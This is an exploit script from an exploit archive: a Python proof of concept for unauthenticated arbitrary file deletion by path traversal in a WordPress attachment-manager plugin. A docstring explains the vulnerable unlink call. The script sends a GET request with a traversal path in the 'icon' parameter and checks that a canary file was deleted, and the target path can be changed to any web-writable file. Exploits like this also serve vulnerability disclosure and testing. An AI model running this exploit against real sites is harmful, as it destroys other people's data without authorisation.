Share
## https://sploitus.com/exploit?id=PACKETSTORM:226457
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Attachment Manager <= 2.1.2 - Unauthenticated Arbitrary File Deletion (Path Traversal)
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/attachment-manager/
# Software Link: https://downloads.wordpress.org/plugin/attachment-manager.2.1.2.zip
# Version: 2.1.2 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2025-7643
r"""
Attachment Manager <= 2.1.2 hooks handle_actions() on `init` (wp-attachment-manager.php:74), so it
runs on any front-end request with no authentication. The `remove` action unlinks a file built from
the RAW `$_GET['icon']` (wp-attachment-manager.php:430) โ the preg_replace('/[^\w-]/','',...) on the
line above sanitises only the settings-array KEY, not the unlink path:
unset($this->_settings['icons'][ preg_replace('/[^\w-]/','', $_GET['icon']) ]);
if (is_writable($this->_icon_dir.'/'.$_GET['icon']) && @unlink($this->_icon_dir.'/'.$_GET['icon'])) ...
$this->_icon_dir defaults to wp-content/plugins/attachment-manager/icons, so
icon=../../../uploads/<file> traverses to wp-content/uploads and deletes any web-writable file. No
nonce, no capability check.
Prior state: plugin active. A canary is planted in wp-content/uploads to demonstrate deletion.
"""
import argparse, sys
import requests
requests.packages.urllib3.disable_warnings()
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--icon", default="../../../uploads/canary_am.txt",
help="path relative to the plugin icons/ dir (default deletes the canary)")
ap.add_argument("--canary-url", default="/wp-content/uploads/canary_am.txt")
args = ap.parse_args()
base = args.target.rstrip("/")
before = requests.get(base + args.canary_url, verify=False).status_code
r = requests.get(base + "/", params={"page": "attachment_manager", "action": "remove",
"icon": args.icon}, allow_redirects=False, verify=False, timeout=20)
print(f"[*] Target: {base}")
print(f"[*] remove '{args.icon}' -> HTTP {r.status_code} :: {r.headers.get('Location','')}")
after = requests.get(base + args.canary_url, verify=False).status_code
print(f"[*] canary {before} -> {after}")
if before == 200 and after == 404:
print("\n[+] ARBITRARY FILE DELETION CONFIRMED โ unauthenticated attacker deleted the canary "
"via path traversal.")
return 0
print("\n[-] not confirmed"); return 1
if __name__ == "__main__":
sys.exit(main())